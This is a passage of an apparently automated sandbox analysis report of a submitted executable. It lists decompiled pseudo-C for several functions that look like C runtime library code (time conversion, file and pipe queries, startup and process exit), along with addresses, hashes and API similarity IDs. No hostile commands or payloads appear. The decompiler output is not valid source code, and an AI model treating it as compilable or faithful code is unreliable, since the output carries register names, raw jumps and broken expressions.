                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ConsoleErrorLastMode
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 953036326-0
                                                                                                                              • Opcode ID: 866ede3298fa327e1352ae7a751efdd83158b4407a9a6bcee0e24f0a144bec6f
                                                                                                                              • Instruction ID: 35ffa1d46ce3754681518a236350748ea23c3f3e22c6dc510897bc2ab61ea3d4
                                                                                                                              • Opcode Fuzzy Hash: 866ede3298fa327e1352ae7a751efdd83158b4407a9a6bcee0e24f0a144bec6f
                                                                                                                              • Instruction Fuzzy Hash: 039125B2F08652C5F712AF2584402BDABA0BB64B88FD441BBDE0E53696CF3DD552C760
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8EE82C Relevance: 6.2, APIs: 4, Instructions: 162COMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              C-Code - Quality: 97%
                                                                                                                              			E00007FF77FF7DA8EE82C(signed int __edx, void* __edi, void* __rcx, void* __rdx, intOrPtr _a40, intOrPtr _a48, intOrPtr _a56) {
				signed int _v80;
				intOrPtr _v92;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v112;
				intOrPtr _v116;
				char _v120;
				intOrPtr _v124;
				char _v128;
				char _v132;
				char _v136;
				intOrPtr _t49;
				void* _t53;
				void* _t65;
				intOrPtr _t67;
				signed long long _t86;
				intOrPtr _t88;
				signed long long _t110;
				intOrPtr _t112;
				void* _t117;
				intOrPtr* _t118;
				void* _t120;
				signed long long _t140;
				void* _t143;
				void* _t146;
				intOrPtr* _t152;

				_t110 =  *0xda90d008; // 0xde4e6c2f3c2e
				_v80 = _t110 ^ _t146 - 0x00000078;
				_t67 = __rcx - 0x76c;
				_t86 = r8d;
				_t140 = __edx;
				if (_t67 - 0x46 < 0) goto 0xda8eea1e;
				_t112 = _t67;
				if (_t112 - 0x44d > 0) goto 0xda8eea1e;
				_t49 = __edx - 1;
				_v124 = _t49;
				if (_t49 - 0xb > 0) goto 0xda8eea1e;
				if (r8d <= 0) goto 0xda8eea1e;
				if (r8d -  *((intOrPtr*)(0xda9077a0 + __edx * 4)) -  *((intOrPtr*)(0xda9077a0 + __edx * 4 - 4)) <= 0) goto 0xda8ee8d0;
				if (E00007FF77FF7DA8EE7D0(_t67, r8d -  *((intOrPtr*)(0xda9077a0 + __edx * 4)) -  *((intOrPtr*)(0xda9077a0 + __edx * 4 - 4))) == 0) goto 0xda8eea1e;
				if (__edi != 2) goto 0xda8eea1e;
				if (_t86 - 0x1d > 0) goto 0xda8eea1e;
				if (r13d - 0x17 > 0) goto 0xda8eea1e;
				if (r12d - 0x3b > 0) goto 0xda8eea1e;
				if (r15d - 0x3b > 0) goto 0xda8eea1e;
				_t53 = E00007FF77FF7DA8EE7D0(_t67, r15d - 0x3b);
				r14d = 0;
				if (_t53 == 0) goto 0xda8ee907;
				if (__edi - 2 <= 0) goto 0xda8ee907;
				_t88 = _t86 +  *((intOrPtr*)(0xda9077a0 + _t140 * 4 - 4)) + 1; // executed
				E00007FF77FF7DA8F5304(_t112); // executed
				_v128 = r14d;
				_v132 = r14d;
				_v136 = r14d;
				if (E00007FF77FF7DA8F4708(_t112,  &_v128) != 0) goto 0xda8eea4a;
				if (E00007FF77FF7DA8F4738(_t112,  &_v132) != 0) goto 0xda8eea4a;
				if (E00007FF77FF7DA8F4768(_t112,  &_v136) != 0) goto 0xda8eea4a;
				r10d = 0x51eb851f;
				r8d = _t120 - 1;
				r9d = r10d * (_t120 + 0x12b) >> 0x20;
				r9d = r9d >> 7;
				r9d = r9d + (r9d >> 0x1f);
				r9d = r9d - (r10d * r8d >> 0x20 >> 5) + (r10d * r8d >> 0x20 >> 5 >> 0x1f);
				asm("cdq");
				_t143 = ((((__rdx + _t112 >> 2) + 0xffffffef + r9d + (_t67 + 0xffffffba) * 0x16d + _t88 + ((__rdx + _t112 >> 2) + 0xffffffef + r9d + (_t67 + 0xffffffba) * 0x16d + _t88) * 2) * 8 + r9d) * 0x3c + _a40) * 0x3c + _v136 + _a48;
				_t152 = _v132 + _t143;
				if (_a56 == 1) goto 0xda8eea19;
				_v104 = _v124;
				_v92 = _t88;
				_v100 = _t67;
				_v112 = r13d;
				_v116 = r12d;
				_v120 = r15d;
				if (_a56 != 0xffffffff) goto 0xda8eea14;
				if (_v128 == 0) goto 0xda8eea14;
				E00007FF77FF7DA8F5348( &_v120);
				_t144 =  !=  ? _t152 : _t143;
				_t117 =  !=  ? _t152 : _t143;
				goto 0xda8eea2d;
				_t118 = _t152;
				goto 0xda8eea2d;
				_t65 = E00007FF77FF7DA8E4394(_t118);
				 *_t118 = 0x16;
				return E00007FF77FF7DA8DACF0(_t65, (__rdx + _t112 >> 2) + 0xffffffef + r9d, _v80 ^ _t146 - 0x00000078);
			}





























                                                                                                                              0x7ff7da8ee840
                                                                                                                              0x7ff7da8ee84a
                                                                                                                              0x7ff7da8ee852
                                                                                                                              0x7ff7da8ee85c
                                                                                                                              0x7ff7da8ee862
                                                                                                                              0x7ff7da8ee868
                                                                                                                              0x7ff7da8ee86e
                                                                                                                              0x7ff7da8ee877
                                                                                                                              0x7ff7da8ee87d
                                                                                                                              0x7ff7da8ee880
                                                                                                                              0x7ff7da8ee886
                                                                                                                              0x7ff7da8ee88f
                                                                                                                              0x7ff7da8ee8a6
                                                                                                                              0x7ff7da8ee8b1
                                                                                                                              0x7ff7da8ee8ba
                                                                                                                              0x7ff7da8ee8c3
                                                                                                                              0x7ff7da8ee8d4
                                                                                                                              0x7ff7da8ee8de
                                                                                                                              0x7ff7da8ee8e8
                                                                                                                              0x7ff7da8ee8f4
                                                                                                                              0x7ff7da8ee8f9
                                                                                                                              0x7ff7da8ee8fe
                                                                                                                              0x7ff7da8ee903
                                                                                                                              0x7ff7da8ee905
                                                                                                                              0x7ff7da8ee907
                                                                                                                              0x7ff7da8ee910
                                                                                                                              0x7ff7da8ee914
                                                                                                                              0x7ff7da8ee918
                                                                                                                              0x7ff7da8ee923
                                                                                                                              0x7ff7da8ee934
                                                                                                                              0x7ff7da8ee945
                                                                                                                              0x7ff7da8ee955
                                                                                                                              0x7ff7da8ee95b
                                                                                                                              0x7ff7da8ee967
                                                                                                                              0x7ff7da8ee96d
                                                                                                                              0x7ff7da8ee97d
                                                                                                                              0x7ff7da8ee987
                                                                                                                              0x7ff7da8ee98a
                                                                                                                              0x7ff7da8ee9d5
                                                                                                                              0x7ff7da8ee9d8
                                                                                                                              0x7ff7da8ee9df
                                                                                                                              0x7ff7da8ee9e8
                                                                                                                              0x7ff7da8ee9eb
                                                                                                                              0x7ff7da8ee9ee
                                                                                                                              0x7ff7da8ee9f1
                                                                                                                              0x7ff7da8ee9f5
                                                                                                                              0x7ff7da8ee9f9
                                                                                                                              0x7ff7da8ee9fd
                                                                                                                              0x7ff7da8eea03
                                                                                                                              0x7ff7da8eea09
                                                                                                                              0x7ff7da8eea10
                                                                                                                              0x7ff7da8eea14
                                                                                                                              0x7ff7da8eea17
                                                                                                                              0x7ff7da8eea19
                                                                                                                              0x7ff7da8eea1c
                                                                                                                              0x7ff7da8eea1e
                                                                                                                              0x7ff7da8eea23
                                                                                                                              0x7ff7da8eea49

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _get_daylight$_isindst
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 4170891091-0
                                                                                                                              • Opcode ID: f648b83e3cb410d1bce6a6d96ba3f226e96b8c179cb4383b6c0ac88b0926170b
                                                                                                                              • Instruction ID: 9e96a7435e243e58a16f07255a720f9695ff9232f27c24a0a17768a34c552146
                                                                                                                              • Opcode Fuzzy Hash: f648b83e3cb410d1bce6a6d96ba3f226e96b8c179cb4383b6c0ac88b0926170b
                                                                                                                              • Instruction Fuzzy Hash: 53513872F042129AFB15EF64D9416BCA7A1BB30358FD0413ADD1D52AD6DF3DA621C710
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E4724 Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              C-Code - Quality: 49%
                                                                                                                              			E00007FF77FF7DA8E4724(intOrPtr __edx, long long __rbx, void* __rcx, void* __r8, intOrPtr* __r9, long long _a16) {
				signed int _v56;
				intOrPtr _v64;
				signed int _v76;
				intOrPtr _v80;
				intOrPtr _v92;
				intOrPtr _v100;
				intOrPtr _v108;
				intOrPtr _v112;
				signed int _v120;
				signed long long _v128;
				long long _v136;
				void* __rsi;
				void* __rbp;
				long _t37;
				intOrPtr _t40;
				int _t42;
				signed int _t47;
				intOrPtr _t60;
				long _t61;
				signed long long _t78;
				signed long long _t79;
				intOrPtr _t89;
				void* _t102;

				_a16 = __rbx;
				_t78 =  *0xda90d008; // 0xde4e6c2f3c2e
				_t79 = _t78 ^ _t102 - 0x00000080;
				_v56 = _t79;
				r14d = __edx; // executed
				_t37 = GetFileType(??); // executed
				r15d = 1;
				asm("btr ecx, 0xf");
				if (_t37 != r15d) goto 0xda8e482f;
				 *((intOrPtr*)(__r9 + 8)) = r15w;
				if (__rcx == 0) goto 0xda8e479e;
				_v120 = _v120 & 0x00000000;
				if (E00007FF77FF7DA8E4B44(__rcx,  &_v120, __r8) == 0) goto 0xda8e4846;
				_t40 = _v120 - 1;
				 *((intOrPtr*)(__r9 + 0x10)) = _t40;
				 *__r9 = _t40;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp-0x48], xmm0");
				_v64 = 0;
				asm("movups [ebp-0x38], xmm0");
				asm("movups [ebp-0x28], xmm0"); // executed
				_t42 = GetFileInformationByHandle(??, ??); // executed
				if (_t42 == 0) goto 0xda8e484a;
				_t60 = _v112;
				_t96 = __rcx;
				 *((short*)(__r9 + 6)) = E00007FF77FF7DA8E4A08(_t60, __r9, __rcx, __r8, _t102);
				E00007FF77FF7DA8E48CC(_t60, _v92, _t96); // executed
				 *(__r9 + 0x20) = _t79;
				E00007FF77FF7DA8E48CC(_t60, _v100, _t79); // executed
				_t89 = _v108;
				 *(__r9 + 0x18) = _t79;
				E00007FF77FF7DA8E48CC(_t60, _t89,  *(__r9 + 0x20)); // executed
				 *(__r9 + 0x28) = _t79;
				 *(__r9 + 0x14) =  *(__r9 + 0x14) & 0x00000000;
				if (_v80 != 0) goto 0xda8e4822;
				_t47 = _v76;
				if (_t47 - 0x7fffffff > 0) goto 0xda8e4822;
				 *(__r9 + 0x14) = _t47;
				goto 0xda8e48a6;
				E00007FF77FF7DA8E4394(_t79);
				 *_t79 = 0x84;
				goto 0xda8e4846;
				_t25 = _t89 - 2; // -2
				if (_t25 - r15d <= 0) goto 0xda8e4859;
				if (_t60 != 0) goto 0xda8e484a;
				E00007FF77FF7DA8E4394(_t79);
				 *_t79 = 9;
				goto 0xda8e48a9;
				_t61 = GetLastError();
				E00007FF77FF7DA8E4308(_t61, _t79, _t89);
				goto 0xda8e4846;
				 *((intOrPtr*)(__r9 + 8)) = r15w;
				 *((intOrPtr*)(__r9 + 0x10)) = r14d;
				 *__r9 = r14d;
				_t55 =  ==  ? 0x2000 : 0x1000;
				 *((short*)(__r9 + 6)) =  ==  ? 0x2000 : 0x1000;
				if (_t61 == 2) goto 0xda8e48a6;
				_v128 = _v128 & 0x00000000;
				_v136 =  &_v120;
				r9d = 0;
				r8d = 0;
				if (PeekNamedPipe(??, ??, ??, ??, ??, ??) == 0) goto 0xda8e48a6;
				 *(__r9 + 0x14) = _v120;
				return E00007FF77FF7DA8DACF0(r15b, _v120, _v56 ^ _t102 - 0x00000080);
			}


























                                                                                                                              0x7ff7da8e4724
                                                                                                                              0x7ff7da8e473a
                                                                                                                              0x7ff7da8e4741
                                                                                                                              0x7ff7da8e4744
                                                                                                                              0x7ff7da8e4754
                                                                                                                              0x7ff7da8e4757
                                                                                                                              0x7ff7da8e475f
                                                                                                                              0x7ff7da8e4765
                                                                                                                              0x7ff7da8e476c
                                                                                                                              0x7ff7da8e4772
                                                                                                                              0x7ff7da8e477a
                                                                                                                              0x7ff7da8e477c
                                                                                                                              0x7ff7da8e478e
                                                                                                                              0x7ff7da8e4797
                                                                                                                              0x7ff7da8e4799
                                                                                                                              0x7ff7da8e479c
                                                                                                                              0x7ff7da8e479e
                                                                                                                              0x7ff7da8e47aa
                                                                                                                              0x7ff7da8e47ae
                                                                                                                              0x7ff7da8e47b1
                                                                                                                              0x7ff7da8e47b5
                                                                                                                              0x7ff7da8e47b9
                                                                                                                              0x7ff7da8e47c1
                                                                                                                              0x7ff7da8e47c7
                                                                                                                              0x7ff7da8e47ca
                                                                                                                              0x7ff7da8e47d8
                                                                                                                              0x7ff7da8e47dc
                                                                                                                              0x7ff7da8e47e8
                                                                                                                              0x7ff7da8e47ec
                                                                                                                              0x7ff7da8e47f5
                                                                                                                              0x7ff7da8e47f9
                                                                                                                              0x7ff7da8e47fd
                                                                                                                              0x7ff7da8e4802
                                                                                                                              0x7ff7da8e4806
                                                                                                                              0x7ff7da8e480e
                                                                                                                              0x7ff7da8e4810
                                                                                                                              0x7ff7da8e4818
                                                                                                                              0x7ff7da8e481a
                                                                                                                              0x7ff7da8e481d
                                                                                                                              0x7ff7da8e4822
                                                                                                                              0x7ff7da8e4827
                                                                                                                              0x7ff7da8e482d
                                                                                                                              0x7ff7da8e482f
                                                                                                                              0x7ff7da8e4835
                                                                                                                              0x7ff7da8e4839
                                                                                                                              0x7ff7da8e483b
                                                                                                                              0x7ff7da8e4840
                                                                                                                              0x7ff7da8e4848
                                                                                                                              0x7ff7da8e4850
                                                                                                                              0x7ff7da8e4852
                                                                                                                              0x7ff7da8e4857
                                                                                                                              0x7ff7da8e485c
                                                                                                                              0x7ff7da8e4866
                                                                                                                              0x7ff7da8e486f
                                                                                                                              0x7ff7da8e4872
                                                                                                                              0x7ff7da8e4876
                                                                                                                              0x7ff7da8e487a
                                                                                                                              0x7ff7da8e487c
                                                                                                                              0x7ff7da8e4886
                                                                                                                              0x7ff7da8e488b
                                                                                                                              0x7ff7da8e4891
                                                                                                                              0x7ff7da8e489e
                                                                                                                              0x7ff7da8e48a3
                                                                                                                              0x7ff7da8e48cb

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: File$ErrorHandleInformationLastNamedPeekPipeType
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2780335769-0
                                                                                                                              • Opcode ID: d63e1d5f4f664f7d448d3fdfa223882025be55e07d60f456332d5d4c6abb6cae
                                                                                                                              • Instruction ID: fa749ce9de02eecb2957cc2eb35038be2d99fd49411a21dd05200126516d2b71
                                                                                                                              • Opcode Fuzzy Hash: d63e1d5f4f664f7d448d3fdfa223882025be55e07d60f456332d5d4c6abb6cae
                                                                                                                              • Instruction Fuzzy Hash: 0351C022E082928AF711EFB1D4403BCB3A1BB64B58F904536DE1D5768ADF3ED5608320
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8DAE5C Relevance: 6.1, APIs: 4, Instructions: 94COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 85%
                                                                                                                              			E00007FF77FF7DA8DAE5C(intOrPtr* __rax, long long __rbx, void* __r8, long long _a8) {
				char _v24;
				void* _t8;
				void* _t9;
				void* _t10;
				signed short _t20;
				void* _t22;
				void* _t26;
				intOrPtr _t35;
				intOrPtr* _t54;
				intOrPtr* _t55;

				_t56 = __rbx;
				_t54 = __rax;
				_a8 = __rbx;
				_t8 = E00007FF77FF7DA8DB2CC(1); // executed
				if (_t8 == 0) goto 0xda8dafa8;
				dil = 0;
				_v24 = dil;
				_t9 = E00007FF77FF7DA8DB290();
				_t35 =  *0xda91c560; // 0x2
				if (_t35 == 1) goto 0xda8dafb3;
				if (_t35 != 0) goto 0xda8daee4;
				 *0xda91c560 = 1;
				_t10 = E00007FF77FF7DA8E85C4(__rbx, 0xda8fa468, 0xda8fa4a8); // executed
				if (_t10 == 0) goto 0xda8daec5;
				goto 0xda8daf9d;
				E00007FF77FF7DA8E8580(_t56, 0xda8fa450, 0xda8fa460); // executed
				 *0xda91c560 = 2;
				goto 0xda8daeec;
				dil = 1;
				_v24 = dil;
				E00007FF77FF7DA8DB5E4(E00007FF77FF7DA8DB43C(_t9, 0xda8fa460));
				if ( *_t54 == 0) goto 0xda8daf1f;
				if (E00007FF77FF7DA8DB3A4(_t54, _t54) == 0) goto 0xda8daf1f;
				r8d = 0;
				_t55 =  *_t54;
				E00007FF77FF7DA8DB5EC( *0xda8fa428());
				if ( *_t55 == 0) goto 0xda8daf41;
				if (E00007FF77FF7DA8DB3A4(_t55, _t55) == 0) goto 0xda8daf41;
				E00007FF77FF7DA8E88D4( *_t55);
				_t20 = E00007FF77FF7DA8DB748(0xda8fa460);
				E00007FF77FF7DA8E852C();
				r9d = _t20 & 0x0000ffff;
				_t72 = _t55;
				_t22 = E00007FF77FF7DA8D1000(_t55); // executed
				if (E00007FF77FF7DA8DB78C(_t55) == 0) goto 0xda8dafbd;
				if (dil != 0) goto 0xda8daf77;
				E00007FF77FF7DA8E88B8(0x7ff7da8d0000, 0xda8fa460, _t55);
				E00007FF77FF7DA8DB460(1, 0);
				_t26 = _t22;
				if (E00007FF77FF7DA8DB78C(_t55) == 0) goto 0xda8dafc5;
				if (_v24 != 0) goto 0xda8daf9b;
				E00007FF77FF7DA8E88A8(0x7ff7da8d0000, 0xda8fa460, _t72);
				return _t26;
			}













                                                                                                                              0x7ff7da8dae5c
                                                                                                                              0x7ff7da8dae5c
                                                                                                                              0x7ff7da8dae5c
                                                                                                                              0x7ff7da8dae6b
                                                                                                                              0x7ff7da8dae72
                                                                                                                              0x7ff7da8dae78
                                                                                                                              0x7ff7da8dae7b
                                                                                                                              0x7ff7da8dae80
                                                                                                                              0x7ff7da8dae87
                                                                                                                              0x7ff7da8dae90
                                                                                                                              0x7ff7da8dae98
                                                                                                                              0x7ff7da8dae9a
                                                                                                                              0x7ff7da8daeb2
                                                                                                                              0x7ff7da8daeb9
                                                                                                                              0x7ff7da8daec0
                                                                                                                              0x7ff7da8daed3
                                                                                                                              0x7ff7da8daed8
                                                                                                                              0x7ff7da8daee2
                                                                                                                              0x7ff7da8daee4
                                                                                                                              0x7ff7da8daee7
                                                                                                                              0x7ff7da8daef3
                                                                                                                              0x7ff7da8daeff
                                                                                                                              0x7ff7da8daf0b
                                                                                                                              0x7ff7da8daf0d
                                                                                                                              0x7ff7da8daf16
                                                                                                                              0x7ff7da8daf1f
                                                                                                                              0x7ff7da8daf2b
                                                                                                                              0x7ff7da8daf37
                                                                                                                              0x7ff7da8daf3c
                                                                                                                              0x7ff7da8daf41
                                                                                                                              0x7ff7da8daf49
                                                                                                                              0x7ff7da8daf4e
                                                                                                                              0x7ff7da8daf51
                                                                                                                              0x7ff7da8daf5d
                                                                                                                              0x7ff7da8daf6b
                                                                                                                              0x7ff7da8daf70
                                                                                                                              0x7ff7da8daf72
                                                                                                                              0x7ff7da8daf7b
                                                                                                                              0x7ff7da8daf80
                                                                                                                              0x7ff7da8daf8d
                                                                                                                              0x7ff7da8daf94
                                                                                                                              0x7ff7da8daf96
                                                                                                                              0x7ff7da8dafa7

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_release_startup_lock
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1452418845-0
                                                                                                                              • Opcode ID: f9463a67af73ecdf476021b69832aa8e37fe24f2495d1c1145be39d635d83d96
                                                                                                                              • Instruction ID: 5f6afc38eacbdcbb3639f0b17e4d601ddf6e86da769ec44f4493976a6ad2f91a
                                                                                                                              • Opcode Fuzzy Hash: f9463a67af73ecdf476021b69832aa8e37fe24f2495d1c1145be39d635d83d96
                                                                                                                              • Instruction Fuzzy Hash: 17313621A0924789FE16BB2494153BDE291BF90754FD848F7ED0E472D3DE2DA9248370
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E45D0 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: CloseCreateFileHandle_invalid_parameter_noinfo
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1279662727-0
                                                                                                                              • Opcode ID: d65c13593cf6935a0391c88ec2fb83f7f07440e81e11b809fa8edf9c6efc289f
                                                                                                                              • Instruction ID: 30780369c51df8c862a2d67f19625eec74dc7397d71dd6972650af86e01b571f
                                                                                                                              • Opcode Fuzzy Hash: d65c13593cf6935a0391c88ec2fb83f7f07440e81e11b809fa8edf9c6efc289f
                                                                                                                              • Instruction Fuzzy Hash: 9D419362E18782C3F715AB21950036DA360FBA5764F909376DE9C03AD2DF6EA6F08710
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E87D8 Relevance: 4.5, APIs: 3, Instructions: 14COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 28%
                                                                                                                              			E00007FF77FF7DA8E87D8() {
				void* _t1;
				void* _t6;
				void* _t11;

				_t1 = E00007FF77FF7DA8E880C(); // executed
				if (_t1 == 0) goto 0xda8e87fa;
				GetCurrentProcess();
				E00007FF77FF7DA8E8830(TerminateProcess(??, ??), _t6, _t11);
				ExitProcess(??);
			}






                                                                                                                              0x7ff7da8e87e0
                                                                                                                              0x7ff7da8e87e7
                                                                                                                              0x7ff7da8e87e9
                                                                                                                              0x7ff7da8e87fc
                                                                                                                              0x7ff7da8e8803

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Process$CurrentExitTerminate
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1703294689-0
                                                                                                                              • Opcode ID: 4ddb213536c4213914e1d39c5867685a565ce616895cde70da5e96fb304fa213
                                                                                                                              • Instruction ID: e6fbdfe6263431900afece4bc74d2333f75b3e5c65a8862671ffc359b65bf2ec
                                                                                                                              • Opcode Fuzzy Hash: 4ddb213536c4213914e1d39c5867685a565ce616895cde70da5e96fb304fa213
                                                                                                                              • Instruction Fuzzy Hash: BAD09E10F1874786FA163B715C9517DD2117FA8755FC418BACC5B06393CD2EB5BD8220
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8DF2EC Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 100%
                                                                                                                              			E00007FF77FF7DA8DF2EC(intOrPtr* __rax, long long __rbx, void* __rcx, void* __rdx, void* __r8, long long __r9, long long _a8, long long _a32, void* _a40) {

				_a8 = __rbx;
				_a32 = __r9;
				if (__r8 == 0) goto 0xda8df335;
				if (__r9 == 0) goto 0xda8df335;
				if (__rcx != 0) goto 0xda8df34c;
				E00007FF77FF7DA8E4394(__rax);
				 *__rax = 0x16;
				E00007FF77FF7DA8E9D00();
				return 0;
			}



                                                                                                                              0x7ff7da8df2ec
                                                                                                                              0x7ff7da8df2f1
                                                                                                                              0x7ff7da8df319
                                                                                                                              0x7ff7da8df31e
                                                                                                                              0x7ff7da8df323
                                                                                                                              0x7ff7da8df325
                                                                                                                              0x7ff7da8df32a
                                                                                                                              0x7ff7da8df330
                                                                                                                              0x7ff7da8df34b

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
